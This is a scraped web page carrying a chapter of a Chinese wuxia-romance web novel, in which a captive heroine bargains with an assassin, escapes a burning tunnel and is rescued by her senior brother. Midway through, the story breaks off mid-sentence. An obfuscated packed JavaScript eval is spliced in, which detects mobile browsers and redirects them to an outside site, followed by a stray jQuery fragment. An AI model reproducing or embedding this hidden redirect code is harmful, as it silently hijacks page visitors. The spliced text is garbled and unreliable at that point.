46.怨怒
作品:《拒绝阴湿师兄表白后》 烛火的暗光在她眉角跳动,阮艳雨漠然瞧她半晌,蓦地笑起来:“你死在这里又没人知晓,我便说你还活着,你就依然还有利用价值。”
“利用过后呢?你要还给我师兄一具尸体?”唐济楚叹了口气,“别怪我没提醒你,我师兄他可不像我这样好说话,他发起疯来我师父都得让着他。”
“那你说,若我真削了你一根手指,他会如何?”
唐济楚用簪尖轻轻戳了戳自己的颈侧,笑了一声:“他会如何我不知道,但我一定不会放过你。”
阮艳雨心中本就对她有几分亲近之感,此时听她这番话,更觉得这少女无比有趣。索性坐在笼外,与她闲谈起来:“你一个阶下囚,倒有几分骨气与自信。”
唐济楚哼了一声道:“若不是你们缴了我的剑,就凭你们几个,我还不放在眼里。”
这份身陷囹圄却目空一切的勇气,落在别人眼中只徒增笑料,可落在阮艳雨眼中,却使她有几分动容。她望着她,像是在望着另一个十八岁的少女。那少女从尸山血海里横刀,一步一步走到这里,站在她面前。千不该、万不该她站在她的对面,否则她们真有结成朋友的可能。
阮艳雨道:“不如你投诚跟了我,或许我们结成朋友,也能做出一番事业。”
“我和我师兄在一处,也能做出一番事业。”
阮艳雨眼中有调侃:“你爱慕他?”
“那你爱慕我?”
唐济楚脑子快,嘴也快。阮艳雨虽自诩聪明,这一招反击,也叫她愣了片刻。
“唉,唐姑娘如此伶俐可爱,确实令我十分喜欢,事到如今倒真有些舍不得放你回去了。”
“舍不得我,那你随我回城主府啊,你暗杀的功夫这么厉害,会挖人眼睛还会做针线活。我师兄一定会重用你的……总比你跟着一个远在天边的人好吧?”唐济楚见她神色微敛,便知道自己说对了,接着道,“那人到底许给你什么好处,值得你这么卖命?”
阮艳雨那双猫似的瞳孔颤了颤,她也许擅长暗杀,擅长交际,却也伪饰不了自己一瞬间的低落。
“唐姑娘,这江湖间的恩情与仇怨,不是一两句话就能抵消的,有时候要用人的一生填补、偿还。有的人生下来,就背负着人命血仇,不得不报。”
唐济楚似懂非懂,不过一想到师兄背负的杀父之仇,她也就能理解了。
“那人答应你,替你报仇?”
阮艳雨沉默片刻,面上又慢慢绽出一点笑:“还想从我口中套出什么?”
唐济楚面上并无尴尬之色,敛了笑意,静静凝视着她。
即便是泰山崩于前而色不乱的女杀手,此刻也被盯得无法维持从容,她道:“难道你想劝我放下仇怨?”
“当然不。”唐济楚坦率而干脆答道,“我的意思是,若有一天那个人不再能庇佑你,你可以来找我。”
阮艳雨笑得有几分讽刺:“唐姑娘,要我夸你真是个大善人么?”
“你方才在他们面前维护我,也是为了让我叫你一声大善人?”
“我只是不明白,你为什么对我好,为什么对她好?这世上难道有无缘无故的好么?”
唐济楚握着簪子的手都酸了,听她还在这掰扯,不由叹了口气:“凭我愿意,凭我是个喝口水都咸的闲人,行吗?我就爱多管闲事。”
阮艳雨沉默着从栏杆间隙处探手而来,欲要夺过她抵在颈边的簪子去。唐济楚反应比她快些,当即轻巧地一躲,那簪子还稳稳地攥在她手里。
“小心些,再动一步,我可要血溅三尺了。到时候你想再去给他找个师妹可不容易。”
阮艳雨还待要说什么,身后忽然跑来一小喽啰,气还没喘匀,断断续续道:“五当家的,大门外被人围住了。你快去瞧瞧吧。”
她登时站起了身,回身狠狠地瞪了一眼唐济楚。
“这么快,怎么可能?”阮艳雨的底气有几分弱了下去,接着问那人道,“柯繁青那边呢?”
“小公子……小公子亲自带了人去,已解了围……”
阮艳雨一怔,随即失声愤然叫道:“陆幸!”
唐济楚听到这名字也属实感到意外。可全城禁严,他想出城,应是得了师兄的首肯。他们不是一向不对付么?
她心里暗道武盟果然是个草台班子,不仅盟府的人是一群草包,就连其附庸也不过一堆吃干饭的。
“二当家、三当家已经趁乱从另一头跑了,您看咱们是不是……”
阮艳雨眸中如火燃,转头盯着唐济楚瞧了会儿。那目光似有恨意,似有无奈,她咬牙道:“你的颜面还真是大,连陆小公子都能为你彻底和他撕破脸皮。”
她深深吸了一口气,最后的机会已白白从手中溜走,为什么每一次都差了一点呢?
也许是她的心还不够狠硬,她舍不下的东西实在太多。那时在城主府与阮奢云遥遥相望,阿姊只用唇语问了她四个字,如今回想起来,竟成了斩断她最后一丝神智的刃。
“你后悔吗?”
阮艳雨冷下眼眸,站起身来,朝身边急得直擦汗的小喽啰道:“全烧了吧。”
整个乌山上下都找不出一个比这阮艳雨还能变脸的女子了。唐济楚气道:“你方才还说喜欢我呢?”
阮艳雨于恨中坦然一笑道:“唐姑娘,在江湖间交朋友,喜欢是没用的,有价值才是有用的。”
说罢便利落转身离去,再也没回头。
留下几个小喽啰,一面朝另一边出口后撤,一面朝地上的干草枯木堆上泼酒。
唐济楚一脚踹开早已破烂的木头笼子,三两下从里面钻出来。那几人见她旁若无人地跑出来,当下慌乱地扔下点燃的火折子便跑开了。那火甫一坠落,便迅速燎燃开,然而比火窜得更快的是火上熊熊冒出的灰烟。
她顾不得旁的,在地道间施展不开轻功,只能拔腿飞快地朝进来时走过的那个入口跑。
跑到一半瞧见黄虎帮来不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415807|181280||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
及带走的几口箱子还摆在那,忽地又想起师兄为自己铸的剑或许还在洞中,犹豫着,她终究还是跑了过去。
才掀起其中一口黑木箱,便听得某处传来一声爆裂的巨响。她正专心找自己的剑,被这动静吓得心脏狠狠瑟缩。
第一口箱子,没有。里面满满堆着看不清字的书簿,不是她眼神不好,而是这灰烟蔓延得太快,弥散在她周围。她还待要去翻第二口箱子,此时手臂却被人凶狠地握住了。
唐济楚下意识地想甩开,转头一看,只见伏陈面上是她平生未见的愤怒与阴沉。
然而那乌黑灰烟愈来愈重,他显然不想同她废话,揽过她的肩,一言不发拥着她离开。
他的手掌以一种较劲般极重的力道握着她的肩,她想开口说一声太痛了,张嘴却呛了一口烟,直到两人踏出地道的大门,那空气才稍显清新。
唐济楚抬头看了一圈,周围已密密麻麻站满了官府举着明火的府兵,她哪见过这么大的阵仗,偏首看了师兄一眼。他没理会她,和下属交代了几句后,便半推半揽地将她带到车上。
少城主今日没来得及坐他那珠翠盈门,宝气光华的车辇,只遣来这么一架内里乌漆嘛黑的马车,任是肤色多白也瞧不清人的轮廓。唐济楚才踏进去便被绊了个跟头,“哎哟”一声。
其实摔得根本不疼,她故意这么叫一声是为了试探他。
往常她就算演得再假,师兄也会温声问她摔没摔坏,可今日不同,他一声不发,一手撑在她手臂下,竟直接将她拎了起来。
唐济楚略有些狼狈地跌在车中软座上,被他这气势吓住了。她自己知道这次闹得太凶,若是今日孤身犯险的是他,她的怒火不会比他的少。
她抬手抹了一把覆在面上的灰,又发觉这车内实在漆黑,没人看得出来。
伏陈坐在她身边,他不说话,也不动作,马车缓缓向前驶去,她的心也随之起落。
唐济楚宁愿他此刻骂骂自己,哪怕像以前那样乱捏她的脸,也好过这死一般的寂静。而这寂静却也不是最可怖的,更可怖的是海面平静下疯狂的潮涌。
她简直受不了这样的沉默。
身子凑到他身边,耳朵也凑过去,鼻子像小狗似的咻咻地嗅,她服软讨好地说:“师兄,你怎么没在呼吸啊?”
他好像慢慢在扭头看她,她看见了他那烁烁盈光的眼瞳,却看不清他的神情。
唐济楚不怕死地又吸了几下鼻子,被人猛地按住了,黑暗间都辨不清方向,他的耳力又不如她,只得一口咬住了她的脸颊。
听她痛呼一声,又转而吮叼住她的唇,他的那颗尖牙磨在她下唇内缘,牵起细细的痒。
唐济楚浑身跌入沸水般滚热起来,幽暗中,只有唇齿的感官尚存。
她想问他除了这招还有别的么?却被他蓦地拥在怀里,他的脸埋在她肩窝处,浑身在颤抖,颤抖中漾出一丝极细的抽噎声。
一向温柔强大的那一个,竟然在哭。